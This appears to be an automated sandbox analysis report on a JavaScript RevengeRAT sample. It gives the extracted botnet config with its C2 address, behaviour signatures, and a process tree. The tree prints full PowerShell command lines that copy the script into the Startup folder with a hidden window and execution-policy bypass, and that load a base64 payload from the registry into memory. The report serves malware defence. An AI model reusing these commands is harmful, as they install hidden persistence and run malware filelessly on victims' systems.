Analysis

  • max time kernel
    92s
  • max time network
    138s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16/09/2024, 01:07

General

  • Target
    6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22.js
  • Size 119KB
  • Sample240916-bg4cda1end
  • SHA256 6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • revengerat

Botnet
  • NyanCatRevenge

C2
  • 18.231.150.177:5222

Mutex
  • 282ac7d305

Signatures

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1732
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('AppData')+'\6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22.js'));wscript 'C:\Users\Admin\AppData\Roaming\6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22.js'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:468
      • C:\Windows\system32\wscript.exe
        "C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Roaming\6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22.js
        3⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:4888
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Roaming\6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22.js'))"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops startup file
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1432
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'mastercoca').mastercoca;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4572

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        ModuleAnalysisCache

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
        • Size 53KB
        • SHA256 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
        • MD5 SHA1 SHA512 SSDEEP

        __PSScriptPolicyTest_terwidh0.a5p.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_terwidh0.a5p.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22.js

        • Path C:\Users\Admin\AppData\Roaming\6a73361430e34020149356188f953f8910380c14f7c27c32a29892d049c7db22.js
        • Size 59KB
        • SHA256 fa317dc427e8220fb94c7cad40a0f513462d46851477b4c1cdef7bc49eb9a7e2
        • MD5 SHA1 SHA512 SSDEEP

        memory/468-0-0x00007FFDAEF33000-0x00007FFDAEF35000-memory.dmp

        memory/468-1-0x000001F166280000-0x000001F1662A2000-memory.dmp

        memory/468-11-0x00007FFDAEF30000-0x00007FFDAF9F1000-memory.dmp

        memory/468-12-0x000001F166780000-0x000001F1667C4000-memory.dmp

        memory/468-13-0x00007FFDAEF30000-0x00007FFDAF9F1000-memory.dmp

        memory/468-16-0x000001F1667D0000-0x000001F166846000-memory.dmp

        memory/468-37-0x00007FFDAEF33000-0x00007FFDAEF35000-memory.dmp

        memory/468-38-0x00007FFDAEF30000-0x00007FFDAF9F1000-memory.dmp

        memory/4572-36-0x000001656CE50000-0x000001656CE5A000-memory.dmp